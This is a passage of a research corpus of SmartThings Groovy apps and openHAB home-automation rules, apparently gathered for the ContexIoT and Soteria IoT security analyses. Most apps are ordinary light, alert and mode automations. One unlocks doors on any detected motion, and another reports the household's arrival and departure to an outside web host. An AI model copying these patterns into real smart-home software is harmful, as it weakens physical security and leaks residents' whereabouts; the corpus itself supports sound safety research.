"nowturnoff: $evt" 35 | Switch1.off() 36 | } 37 | 38 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/GarageDoorOpenClose.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Turn It On For 3 Seconds 3 | * Turn on a switch and then turn it back off 3 seconds later 4 | * 5 | * Author: WalterP 6 | */ 7 | 8 | preferences { 9 | section("When I touch the app, turn on a switch for 3 seconds...") { 10 | input "switch1", "capability.switch" 11 | } 12 | } 13 | 14 | def installed() 15 | { 16 | subscribe(location) 17 | subscribe(app) 18 | } 19 | 20 | def updated() 21 | { 22 | unsubscribe() 23 | subscribe(location) 24 | subscribe(app) 25 | } 26 | 27 | def changedLocationMode(evt) { 28 | log.debug "changedLocationMode: $evt" 29 | switch1.on() 30 | switch1.off(delay: 3000) 31 | } 32 | 33 | def appTouch(evt) { 34 | log.debug "appTouch: $evt" 35 | switch1.on() 36 | switch1.off(delay: 3000) 37 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TextMeWhenItOpens.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Text Me When It Opens 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When the door opens...") { 8 | input "contact1", "capability.contactSensor", title: "Where?" 9 | } 10 | section("Text me at...") { 11 | input "phone1", "phone", title: "Phone number?" 12 | } 13 | } 14 | 15 | def installed() 16 | { 17 | subscribe(contact1, "contact.open", contactOpenHandler) 18 | } 19 | 20 | def updated() 21 | { 22 | unsubscribe() 23 | subscribe(contact1, "contact.open", contactOpenHandler) 24 | } 25 | 26 | def contactOpenHandler(evt) { 27 | log.trace "$evt.value: $evt, $settings" 28 | log.debug "$contact1 was opened, texting $phone1" 29 | sendSms(phone1, "Your ${contact1.label ?: contact1.name} was opened") 30 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/DelayedCommandExecution.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Delayed Command Execution 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When the door opens/closes...") { 8 | input "contact1", "capability.contactSensor", title: "Where?" 9 | } 10 | section("Turn on/off a light...") { 11 | input "switch1", "capability.switch" 12 | } 13 | } 14 | 15 | def installed() 16 | { 17 | subscribe(contact1, "contact", contactHandler) 18 | } 19 | 20 | def updated() 21 | { 22 | unsubscribe() 23 | subscribe(contact1, "contact", contactHandler) 24 | } 25 | 26 | def contactHandler(evt) { 27 | log.debug "$evt.value: $evt" 28 | if (evt.value == "open") { 29 | switch1.on(delay: 5000) 30 | } else if (evt.value == "closed") { 31 | switch1.off(delay: 5000) 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TurnItOnWhenImHere.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Turn It On When I'm Here 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When I arrive and leave..."){ 8 | input "presence1", "capability.presenceSensor", title: "Who?" 9 | } 10 | section("Turn on/off a light..."){ 11 | input "switch1", "capability.switch" 12 | } 13 | } 14 | 15 | def installed() 16 | { 17 | subscribe(presence1, "presence", presenceHandler) 18 | } 19 | 20 | def updated() 21 | { 22 | unsubscribe() 23 | subscribe(presence1, "presence", presenceHandler) 24 | } 25 | 26 | def presenceHandler(evt) 27 | { 28 | def current = evt.value 29 | if (current == "present") { 30 | settings.switch1.on() 31 | } 32 | else if (current == "not present") { 33 | settings.switch1.off() 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TextMeWhenTheresMotion.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Text Me When There's Motion 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When there's movement..."){ 8 | input "motion1", "capability.motionSensor", title: "Where?" 9 | } 10 | section("Text me at..."){ 11 | input "phone1", "phone", title: "Phone number?" 12 | } 13 | } 14 | 15 | def installed() 16 | { 17 | subscribe(motion1, "motion.active", motionActiveHandler) 18 | } 19 | 20 | def updated() 21 | { 22 | unsubscribe() 23 | subscribe(motion1, "motion.active", motionActiveHandler) 24 | } 25 | 26 | def motionActiveHandler(evt) { 27 | log.trace "$evt.value: $evt, $settings" 28 | log.debug "$motion1 detected motion, texting $phone1" 29 | 30 | sendSms(phone1, "${motion1.label ?: motion1.name} detected motion") 31 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/ManageTV.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Manage TV 3 | * 4 | * Author: jpsilvaa@gmail.com 5 | * Date: 2014-03-15 6 | */ 7 | preferences { 8 | } 9 | 10 | def installed() { 11 | log.debug "Installed with settings: ${settings}" 12 | 13 | initialize() 14 | } 15 | 16 | def updated() { 17 | log.debug "Updated with settings: ${settings}" 18 | 19 | unsubscribe() 20 | initialize() 21 | } 22 | 23 | def initialize() { 24 | // TODO: subscribe to attributes, devices, locations, etc. 25 | } 26 | // TODO: implement event handlers 27 | /** 28 | * Home Theater Control 29 | * 30 | * 31 | * Enable the following capabilities for the Device Type - button, switch, refresh 32 | * 33 | * Add the following custom commands - volUp, volDown, Input4, Input5, Input6, mute, unmute 34 | * 35 | * Date: 2014-02-24 36 | */ -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TexttoVoiceSonos.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Text to Voice(Sonos) 3 | * 4 | * Author: tbaird81@gmail.com 5 | * Date: 2014-03-12 6 | */ 7 | 8 | preferences { 9 | section("This door is closed...") { 10 | input "contact1", "capability.contactSensor", title: "Where?" 11 | } 12 | section { 13 | input "sonos", "capability.musicPlayer", title: "Sonos Device", required: true 14 | } 15 | section { 16 | input "textHere", "text", title: "Type in the message" 17 | } 18 | } 19 | 20 | def installed() 21 | { 22 | subscribe(contact1, "contact.closed", contactClosedHandler) 23 | } 24 | 25 | def updated() 26 | { 27 | unsubscribe() 28 | subscribe(contact1, "contact.closed", contactClosedHandler) 29 | } 30 | 31 | def contactClosedHandler(evt) { 32 | sonos.playText(textHere) 33 | } 34 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/test.rules: -------------------------------------------------------------------------------- 1 | // OpenHAB rules for testing 2 | // Rename this .rules file to disable these rules for normal operation 3 | import org.openhab.core.library.types.* 4 | import org.openhab.core.persistence.* 5 | import org.openhab.model.script.actions.* 6 | import org.joda.time.* 7 | 8 | // Trigger events on test switch 9 | //rule "TEST Switch 2 ON" 10 | //when 11 | // Item sTEST_DummySwitch_02 changed to ON 12 | //then 13 | // sendCommand(sTEST_DummySwitch_02, OFF) 14 | // var Number T = nSensor_FirstFl_TempRaw.state as DecimalType 15 | // var Number temp = (1.5 * T) - 7.5 16 | // postUpdate(nSensor_FirstFl_Temp, temp) 17 | //end 18 | 19 | // Simulate sunset every day at 20:00 hrs 20 | //rule "TEST Simulate sunset" 21 | //when 22 | // Time cron "0 0 20 * * ?" 23 | //then 24 | // postUpdate(sSunset_Event,ON) 25 | // postUpdate(sSunset_Event,OFF) 26 | //end 27 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/datetime.rules: -------------------------------------------------------------------------------- 1 | // OpenHAB rules for date and time 2 | // 3 | // These rules contain the code that performs status changes based on 4 | // astronomical or calendar events, or at specific times of day. 5 | // 6 | // NOTE: only *status changes* are in this file; automated actions 7 | // should NOT be included here, but in the respective rule files such as 8 | // 'lights.rules' or 'alarm.rules'. 9 | 10 | // Required libraries 11 | import org.openhab.core.library.types.* 12 | 13 | // Day's on and Night's off after sunrise 14 | rule "Daytime" 15 | when 16 | Item sSunrise_Event changed to ON 17 | then 18 | postUpdate(sDay, ON) 19 | postUpdate(sNight, OFF) 20 | end 21 | 22 | // Day's off and Night's on after sunset 23 | rule "Nighttime" 24 | when 25 | Item sSunset_Event changed to ON 26 | then 27 | postUpdate(sDay, OFF) 28 | postUpdate(sNight, ON) 29 | end 30 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/LEDSignController.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * LED Sign Controller 3 | * 4 | * Author: jeremy@jwitconsulting.com 5 | * Date: 2014-01-19 6 | */ 7 | preferences { 8 | section("When the door opens or closes...") { 9 | input "multisensor", "device.smartSenseMulti", title: "Where?" 10 | } 11 | } 12 | 13 | def installed() { 14 | log.debug "Installed with settings: ${settings}" 15 | 16 | initialize() 17 | } 18 | 19 | def updated() { 20 | log.debug "Updated with settings: ${settings}" 21 | 22 | unsubscribe() 23 | initialize() 24 | } 25 | 26 | def initialize() { 27 | subscribe(multisensor, "contact", handleContact) 28 | } 29 | 30 | def handleContact(evt) { 31 | httpGet("http://www.smartthings.com", successClosure) 32 | } 33 | 34 | def successClosure = { response -> 35 | log.debug "Request was successful, $response" 36 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/LaLaManorAutomation.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Let There Be Light! 3 | * Turn your lights on when an open/close sensor opens and off when the sensor closes. 4 | * 5 | * Author: SmartThings 6 | */ 7 | preferences { 8 | section("When the door opens/closes...") { 9 | input "contact1", "capability.contactSensor", title: "Where?" 10 | } 11 | section("Turn on/off a light...") { 12 | input "switch1", "capability.switch" 13 | } 14 | } 15 | 16 | def installed() { 17 | subscribe(contact1, "contact", contactHandler) 18 | } 19 | 20 | def updated() { 21 | unsubscribe() 22 | subscribe(contact1, "contact", contactHandler) 23 | } 24 | 25 | def contactHandler(evt) { 26 | log.debug "$evt.value" 27 | if (evt.value == "open") { 28 | switch1.on() 29 | } else if (evt.value == "closed") { 30 | switch1.off() 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/MultiSwitch.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Multi Switch 3 | * 4 | * Author: SmartThings 5 | */ 6 | 7 | preferences { 8 | section("When this switch is toggled...") { 9 | input "master", "capability.switch", title: "Where?" 10 | } 11 | section("Turn on/off these switches...") { 12 | input "switches", "capability.switch", multiple: true 13 | } 14 | } 15 | 16 | def installed() 17 | { 18 | subscribe(master, "switch.On", switchOn) 19 | subscribe(master, "switch.Off", switchOff) 20 | } 21 | 22 | def updated() 23 | { 24 | unsubscribe() 25 | subscribe(master, "switch.On", switchOn) 26 | subscribe(master, "switch.Off", switchOff) 27 | } 28 | 29 | def switchOn(evt) { 30 | log.debug "Switches On" 31 | switches?.on() 32 | } 33 | def switchOff(evt) { 34 | log.debug "Switches Off" 35 | switches?.off() 36 | } 37 | 38 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TurnItOnFor5Minutes.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Turn It On For 5 Minutes 3 | * Turn on a switch when a contact sensor opens and then turn it back off 5 minutes later. 4 | * 5 | * Author: SmartThings 6 | */ 7 | preferences { 8 | section("When it opens..."){ 9 | input "contact1", "capability.contactSensor" 10 | } 11 | section("Turn on a switch for 5 minutes..."){ 12 | input "switch1", "capability.switch" 13 | } 14 | } 15 | 16 | def installed() { 17 | log.debug "Installed with settings: ${settings}" 18 | subscribe(contact1, "contact.open", contactOpenHandler) 19 | } 20 | 21 | def updated(settings) { 22 | log.debug "Updated with settings: ${settings}" 23 | unsubscribe() 24 | subscribe(contact1, "contact.open", contactOpenHandler) 25 | } 26 | 27 | def contactOpenHandler(evt) { 28 | switch1.on() 29 | switch1.off(delay: 300000) 30 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/MotionTriggersLock.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Unlock It When I Come In 3 | * 4 | * Author: MattRobell 5 | * Date: 2014-01-28 6 | */ 7 | preferences { 8 | section("When there's movement..."){ 9 | input "motion1", "capability.motionSensor", title: "Where?" 10 | } 11 | section("Unlock the lock..."){ 12 | input "lock1", "capability.lock", multiple: true 13 | } 14 | 15 | } 16 | 17 | def installed() 18 | { 19 | subscribe(motion1, "motion.active", motionActiveHandler) 20 | } 21 | 22 | def updated() 23 | { 24 | unsubscribe() 25 | subscribe(motion1, "motion.active", motionActiveHandler) 26 | } 27 | 28 | def motionActiveHandler(evt) 29 | { 30 | def anyLocked = lock1.count{it.currentLock == "unlocked"} != lock1.size() 31 | if (anyLocked) { 32 | sendPush "Unlocked door due to arrival of $evt.displayName" 33 | lock1.unlock() 34 | } 35 | } -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartThings-Soteria-third-party/TP45.groovy: -------------------------------------------------------------------------------- 1 | preferences { 2 | section("Select Switch to monitor"){ 3 | input "theSwitch", "capability.switch" 4 | } 5 | } 6 | 7 | def installed() { 8 | log.debug "Installed with settings: ${settings}" 9 | initialize() 10 | } 11 | 12 | def updated(settings) { 13 | log.debug "Updated with settings: ${settings}" 14 | unsubscribe() 15 | initialize() 16 | } 17 | 18 | def onHandler(evt) { 19 | log.debug "Received on from ${theSwitch}" 20 | if(location.mode != "Sleeping") { 21 | setLocationMode("Sleeping") 22 | } else { 23 | log.debug "Already Sleeping - ignoring" 24 | } 25 | //theSwitch.off() 26 | } 27 | 28 | def offHandler(evt) { 29 | log.debug "Received off from ${theSwitch}" 30 | } 31 | 32 | def initialize() { 33 | subscribe(theSwitch, "switch.On", onHandler) 34 | subscribe(theSwitch, "switch.Off", offHandler) 35 | } 36 | -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Soteria SmartThings IoT apps 3 | 4 | **smartThings-Soteria** folder contains SmartThings third-party apps and flawed apps used in Soteria analysis. The third-party apps are obtained in **mid 2017**. The flawed apps contain property violations in an individual app and multi-app environments (referred as MalIoT test-suite in the Soteria paper). 5 | 6 | ## Citing this work 7 | 8 | ``` 9 | @InProceedings{BerkaySoteriaUSENIXATC2018, 10 | Title = {Soteria: Automated IoT Safety and Security Analysis}, 11 | Author = {Z. Berkay Celik and Patrick McDaniel and Gang Tan}, 12 | Booktitle = {USENIX Annual Technical Conference (USENIX ATC)}, 13 | Year = {2018}, 14 | Address = {Boston, MA}, 15 | Owner = {berkay}, 16 | Timestamp = {2018.04.19} 17 | } 18 | ``` 19 | 20 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/VirtualGaragetriggersoutlet.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Virtual Garage Triggers Outlet 3 | * 4 | * Author: chrisb 5 | */ 6 | preferences { 7 | section("When a Virtual Garage Door is tapped..."){ 8 | input "GarageSensor1", "capability.contactSensor", title: "Which?" 9 | } 10 | section("Trigger which outlet?"){ 11 | input "switches", "capability.switch" 12 | } 13 | } 14 | 15 | 16 | def installed() 17 | { 18 | subscribe(GarageSensor1, "buttonpress.true", contactOpenHandler) 19 | } 20 | 21 | def updated() 22 | { 23 | unsubscribe() 24 | subscribe(GarageSensor1, "buttonpress.true", contactOpenHandler) 25 | } 26 | 27 | def contactOpenHandler(evt) { 28 | log.debug "$evt.value: $evt, $settings" 29 | log.trace "Turning on switches: $switches" 30 | switches.on() 31 | log.trace "Turning off switches: $switches" 32 | switches.off(delay: 4000) 33 | } 34 | 35 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/SchlageLockRefresh.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Scheduled Mode Change 3 | * 4 | * Author: Cory Simpson 5 | 6 | * Date: 2013-05-04 7 | */ 8 | preferences { 9 | section("At this time every day") { 10 | input "time1", "time", title: "Time of Day" 11 | } 12 | /* section("Select locks") { 13 | input "lock1", "capability.lock", multiple: true 14 | }*/ 15 | section("Select locks"){ 16 | input "refresh1","capability.refresh", multiple: true 17 | } 18 | 19 | 20 | } 21 | 22 | def installed() 23 | { 24 | schedule(time1, "scheduleCheck") 25 | } 26 | 27 | def updated() 28 | { 29 | unschedule() 30 | schedule(time1, "scheduleCheck") 31 | } 32 | 33 | def scheduleCheck(evt){ 34 | log.trace "scheduledCheck" 35 | log.debug refresh1?.lock 36 | refresh1.refresh() 37 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/HabitHelper.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Habit Helper 3 | * Every day at a specific time, get a text reminding you about your habit 4 | * 5 | * Author: SmartThings 6 | */ 7 | preferences { 8 | section("Remind me about..."){ 9 | input "message1", "text", title: "What?" 10 | } 11 | section("At what time?"){ 12 | input "time1", "time", title: "When?" 13 | } 14 | section("Text me at..."){ 15 | input "phone1", "phone", title: "Phone number?" 16 | } 17 | } 18 | 19 | def installed() 20 | { 21 | schedule(time1, "scheduleCheck") 22 | } 23 | 24 | def updated() 25 | { 26 | unschedule() 27 | schedule(time1, "scheduleCheck") 28 | } 29 | 30 | def scheduleCheck() 31 | { 32 | log.trace "scheduledCheck" 33 | 34 | def message = message1 ?: "SmartThings - Habit Helper Reminder!" 35 | 36 | log.debug "Texting reminder: ($message) to $phone1" 37 | sendSms(phone1, message) 38 | } 39 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/PushMeWhenTheresMotion.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Push Me When There's Motion 3 | * 4 | * Author: andre.xavier@bhs.com.br 5 | * Date: 2013-10-10 6 | */ 7 | preferences { 8 | section("When movement is detected...") { 9 | input "motionSensor", "capability.motionSensor", title: "Where?" 10 | } 11 | section("Send this message (optional, sends standard status message if not specified)"){ 12 | input "messageText", "text", title: "Message Text", required: false 13 | } 14 | } 15 | 16 | def installed() { 17 | subscribe(motionSensor, "motion.active", motionActiveHandler) 18 | } 19 | 20 | def updated() { 21 | unsubscribe() 22 | subscribe(motionSensor, "motion.active", motionActiveHandler) 23 | } 24 | 25 | def motionActiveHandler(evt) { 26 | 27 | def msg = messageText ?: "Motion detected on $motionSensor sensor!" 28 | sendPush(msg) 29 | log.debug "$motionSensor has moved" 30 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/MySmartAppSensorToLightBulb.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Let There Be Light! 3 | * Turn your lights on when an open/close sensor opens and off when the sensor closes. 4 | * 5 | * Author: SmartThings 6 | */ 7 | preferences { 8 | section("When the door opens/closes...") { 9 | input "contact1", "capability.contactSensor", title: "Where?" 10 | } 11 | section("Turn on/off a light...") { 12 | input "switch1", "capability.switch" 13 | } 14 | } 15 | 16 | def installed() { 17 | subscribe(contact1, "contact", contactHandler) 18 | log.debug "installed" 19 | } 20 | 21 | def updated() { 22 | unsubscribe() 23 | subscribe(contact1, "contact", contactHandler) 24 | log.debug "updated" 25 | } 26 | 27 | def contactHandler(evt) { 28 | log.debug "$evt.value" 29 | if (evt.value == "open") { 30 | switch1.on() 31 | } else if (evt.value == "closed") { 32 | switch1.off() 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/SleepingModeChange.txt.groovy: -------------------------------------------------------------------------------- 1 | preferences { 2 | section("Select Switch to monitor"){ 3 | input "theSwitch", "capability.switch" 4 | } 5 | } 6 | 7 | def installed() { 8 | log.debug "Installed with settings: ${settings}" 9 | initialize() 10 | } 11 | 12 | def updated(settings) { 13 | log.debug "Updated with settings: ${settings}" 14 | unsubscribe() 15 | initialize() 16 | } 17 | 18 | def onHandler(evt) { 19 | log.debug "Received on from ${theSwitch}" 20 | if(location.mode != "Sleeping") { 21 | setLocationMode("Sleeping") 22 | } else { 23 | log.debug "Already Sleeping - ignoring" 24 | } 25 | //theSwitch.off() 26 | } 27 | 28 | def offHandler(evt) { 29 | log.debug "Received off from ${theSwitch}" 30 | } 31 | 32 | def initialize() { 33 | subscribe(theSwitch, "switch.On", onHandler) 34 | subscribe(theSwitch, "switch.Off", offHandler) 35 | } 36 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/astro.rules: -------------------------------------------------------------------------------- 1 | rule "OpenHAB system started - astro" 2 | when 3 | System started 4 | then 5 | createTimer(now.plusSeconds(180)) [ | 6 | logInfo("RULE", "--> astro init") 7 | if (now.isAfter((SunsetTime.state as DateTimeType).calendar.timeInMillis) || 8 | now.isBefore((SunriseTime.state as DateTimeType).calendar.timeInMillis) 9 | ) { 10 | logInfo("RULE", "--> Night_State ON") 11 | postUpdate(NightState, ON) 12 | } else { 13 | logInfo("RULE", "--> Night_State OFF") 14 | postUpdate(NightState, OFF) 15 | } 16 | ] 17 | end 18 | 19 | 20 | 21 | rule "Update NightState" 22 | when 23 | Item SunElevation changed 24 | then 25 | if(SunElevation.state > 0){ 26 | if(NightState.state != OFF) postUpdate(NightState, OFF) 27 | } else { 28 | if(NightState.state != ON) postUpdate(NightState, ON) 29 | } 30 | end -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/LightUpTheNight.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Light Up The Night 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("Monitor the luminosity...") { 8 | input "lightSensor", "capability.illuminanceMeasurement" 9 | } 10 | section("Turn on a light...") { 11 | input "lights", "capability.switch", multiple: true 12 | } 13 | } 14 | 15 | def installed() { 16 | subscribe(lightSensor, "illuminance", illuminanceHandler) 17 | } 18 | 19 | def updated() { 20 | unsubscribe() 21 | subscribe(lightSensor, "illuminance", illuminanceHandler) 22 | } 23 | 24 | // New aeon implementation 25 | def illuminanceHandler(evt) { 26 | def lastStatus = state.lastStatus 27 | if (lastStatus != "on" && evt.integerValue < 30) { 28 | lights.on() 29 | state.lastStatus = "on" 30 | } 31 | else if (lastStatus != "off" && evt.integerValue > 50) { 32 | lights.off() 33 | state.lastStatus = "off" 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/PresenceChangePush.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Presence Change Push 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When a presence sensor arrives or departs this location..") { 8 | input "presence", "capability.presenceSensor", title: "Which sensor?" 9 | } 10 | } 11 | 12 | def installed() { 13 | subscribe(presence, "presence", presenceHandler) 14 | } 15 | 16 | def updated() { 17 | unsubscribe() 18 | subscribe(presence, "presence", presenceHandler) 19 | } 20 | 21 | def presenceHandler(evt) { 22 | if (evt.value == "present") { 23 | log.debug "${presence.label ?: presence.name} has arrived at the ${location}" 24 | sendPush("${presence.label ?: presence.name} has arrived at the ${location}") 25 | } else if (evt.value == "not present") { 26 | log.debug "${presence.label ?: presence.name} has left the ${location}" 27 | sendPush("${presence.label ?: presence.name} has left the ${location}") 28 | } 29 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/DoorLockJammed.txt.groovy: -------------------------------------------------------------------------------- 1 | preferences 2 | { 3 | section("Check for jamms in lock...") { 4 | input "lock1", "capability.lock" 5 | } 6 | section("Via an SMS message"){ 7 | input "phone", "phone", title: "Phone Number (for SMS, optional)", required: false 8 | } 9 | } 10 | 11 | 12 | def installed() 13 | { 14 | initialize() 15 | } 16 | 17 | 18 | def updated() 19 | { 20 | unsubscribe() 21 | initialize() 22 | } 23 | 24 | 25 | def initialize() 26 | { 27 | log.debug "Settings: ${settings}" 28 | subscribe(lock1, "lock", doorHandler) 29 | } 30 | 31 | def doorHandler(evt) 32 | { 33 | 34 | if (evt.value != "locked") { 35 | if (evt.value != "unlocked") { 36 | log.debug "Lock ${evt.displayName} is ${evt.value}." 37 | sendPush("Door lock is jammed, please check.") 38 | if (phone) { 39 | sendSms(phone, textMessage ?: "Door lock is jammed, please check") 40 | } 41 | } 42 | } 43 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/DennisGarage.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Turn It On When I'm Here 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When I arrive ..."){ 8 | input "presence1", "capability.presenceSensor", title: "Who?", multiple: true 9 | } 10 | section("Monem..."){ 11 | input "switch1", "capability.switch", multiple: true 12 | } 13 | } 14 | 15 | def installed() 16 | { 17 | subscribe(presence1, "presence", presenceHandler) 18 | } 19 | 20 | def updated() 21 | { 22 | unsubscribe() 23 | subscribe(presence1, "presence", presenceHandler) 24 | } 25 | 26 | def presenceHandler(evt) 27 | { 28 | log.debug "presenceHandler $evt.name: $evt.value" 29 | def current = presence1.currentValue("presence") 30 | log.debug current 31 | def presenceValue = presence1.find{it.currentPresence == "present"} 32 | log.debug presenceValue 33 | if(presenceValue){ 34 | switch1.on() 35 | log.debug 36 | } 37 | else{ 38 | switch1.off() 39 | log.debug 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/PresenceTest.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Presence Change Push 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When a presence sensor arrives or departs this location..") { 8 | input "presence", "capability.presenceSensor", title: "Which sensor?" 9 | } 10 | } 11 | 12 | def installed() { 13 | subscribe(presence, "presence", presenceHandler) 14 | } 15 | 16 | def updated() { 17 | unsubscribe() 18 | subscribe(presence, "presence", presenceHandler) 19 | } 20 | 21 | def presenceHandler(evt) { 22 | if (evt.value == "present") { 23 | log.debug "${presence.label ?: presence.name} has arrived at the ${location}" 24 | httpGet("http://sunsachs.com/api/call?status=arrived") {response -> content = response.data} 25 | } else if (evt.value == "not present") { 26 | log.debug "${presence.label ?: presence.name} has left the ${location}" 27 | httpGet("http://sunsachs.com/api/call?status=departed") {response -> content = response.data} 28 | } 29 | } -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/fireDetection.rules.txt: -------------------------------------------------------------------------------- 1 | rule "Fire detection" 2 | when 3 | Item SensorTemperature received update 4 | then 5 | // check for any temperature sensors in the house that are very high 6 | if (SensorTemperature.members.filter(s | s.state > 45).size > 0) { 7 | if (Alarm_Fire.state != ON) { 8 | logInfo("sensor.rules", "Fire alarm tripped by temperature sensor!") 9 | Alarm_Fire.postUpdate(ON) 10 | } 11 | } 12 | end 13 | 14 | rule "Fire alarm" 15 | when 16 | Item Alarm_Fire received update ON 17 | then 18 | // turn on all lights 19 | callScript("lights_on") 20 | 21 | // send notifications 22 | notifyMyAndroid("Security", "FIRE alarm has been tripped!!!", 2) 23 | sendTweet("*** FIRE alarm - someone call the fire dept!!! ***") 24 | 25 | // send an email 26 | sendMail("ben@home.com", "FIRE ALARM!!", "The fire alarm has been activated!!!") 27 | end -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/BrightenDarkPlaces.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Brighten Dark Places 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When the door opens...") { 8 | input "contact1", "capability.contactSensor", title: "Where?" 9 | } 10 | section("And it's dark...") { 11 | input "luminance1", "capability.illuminanceMeasurement", title: "Where?" 12 | } 13 | section("Turn on a light...") { 14 | input "switch1", "capability.switch" 15 | } 16 | } 17 | 18 | def installed() 19 | { 20 | subscribe(contact1, "contact.open", contactOpenHandler) 21 | } 22 | 23 | def updated() 24 | { 25 | unsubscribe() 26 | subscribe(contact1, "contact.open", contactOpenHandler) 27 | } 28 | 29 | def contactOpenHandler(evt) { 30 | def lightSensorState = luminance1?.currentIlluminance as Float 31 | log.debug "SENSOR = $lightSensorState" 32 | if (lightSensorState != null && lightSensorState < 10) { 33 | log.trace "light.on() ... [luminance: ${lightSensorState}]" 34 | switch1.on() 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/calibration.rules: -------------------------------------------------------------------------------- 1 | // OpenHAB rules for adjusting values 2 | // 3 | // These rules are ONLY to adjust sensor readings, when required. 4 | // NO automation or triggers should be included here! 5 | 6 | // Required libraries 7 | import org.openhab.core.library.types.* 8 | 9 | // The AeonLabs multisensor reported temperature in the living room 10 | // is corrected using a linear model 11 | rule "Adjust temperature Z-wave node 10" 12 | when 13 | Item nSensor_Living_TempRaw received update 14 | then 15 | var Number T = nSensor_Living_TempRaw.state as DecimalType 16 | var Number temp = (1.6 * T) - 8.5 17 | postUpdate(nSensor_Living_Temp, temp) 18 | end 19 | 20 | // The AeonLabs multisensor reported temperature on the first floor 21 | // is corrected using a linear model 22 | rule "Adjust temperature Z-wave node 12" 23 | when 24 | Item nSensor_FirstFl_TempRaw received update 25 | then 26 | var Number T = nSensor_FirstFl_TempRaw.state as DecimalType 27 | var Number temp = (1.25 * T) - 3.3 28 | postUpdate(nSensor_FirstFl_Temp, temp) 29 | end 30 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/tempControl.rules.txt: -------------------------------------------------------------------------------- 1 | rule "Update Temperature Min- and Max values" 2 | when 3 | Item Temperature_Garden received update 4 | then 5 | var Number Min 6 | var Number Max 7 | var String tmp 8 | var SimpleDateFormat df = new SimpleDateFormat( 